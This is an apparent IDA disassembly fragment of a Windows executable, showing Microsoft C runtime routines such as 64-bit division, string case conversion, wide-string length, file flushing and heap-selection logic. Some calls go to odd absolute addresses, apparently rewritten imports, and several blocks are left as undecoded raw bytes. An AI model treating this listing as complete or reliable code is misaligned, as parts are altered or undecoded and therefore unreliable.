		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596

loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi

loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi

loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB364
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645

loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl

loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA

loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD

loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------

loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh

loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0

loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax

loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------

loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C534, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------

loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD

loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------

loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E

loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824

loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB364, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E

loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------

loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2670D55h
		cmp	eax, 7Ah
		jz	short loc_41D8BF

loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C328
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax

loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7

loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB374
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------

loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB364, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB374
		nop
		call	near ptr 2800000h
		cmp	eax, esi
		jz	short loc_41D8B0

loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax

loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 1Ah
		dd 8506D78Fh, 0BB096EFBh, 0FF4FC1B5h, 0A164F299h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 4FE890E8h, 33024543h, 89D48AD2h
		dd 4DB2C015h, 81C88B00h, 0FFE1h, 0BC0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2B80D89h, 0E8C1004Dh, 0B2B4A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 0E8000059h, 24542C2h, 0C94CA390h,	19E8004Dh
		dd 0A3000058h, 4DB318h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024526h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2D6BE856h, 50900226h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB320, 1
		jnz	short loc_41DA37
		call	sub_423590

loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2F0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB320
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC700
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF

loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB

loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2650939h
		test	eax, eax
		jnz	short loc_41DAEB
		call	near ptr 2670D55h
		nop
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------

loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp

loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------

loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------

loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh

loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------

loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5E0, esi
		jle	short loc_41DC4E

loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------

loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax

loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_41DC01

loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi

loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2680765h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26C061Bh
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------

loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F

loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al

loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC

loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------

loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65

loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al

loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52

loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx

loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1

loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------

loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx

loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93

loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF

loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2472218h
		dd 0A3C08590h, 4DC944h,	93E83674h, 83FFFFFEh, 48A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C94435FFh, 0E890004Dh
		dd 2463069h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC944h
		dd 3721BFE8h, 0C0859002h, 4DC93CA3h, 0C3017500h, 4244C8Bh
		dd 0C9342583h, 8300004Dh, 4DC93825h, 16A0000h, 4DC930A3h
		dd 400D8900h, 0C7004DC9h, 4DC92805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC938
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC93C
		lea	ecx, [eax+ecx*4]

loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------

loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx

loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
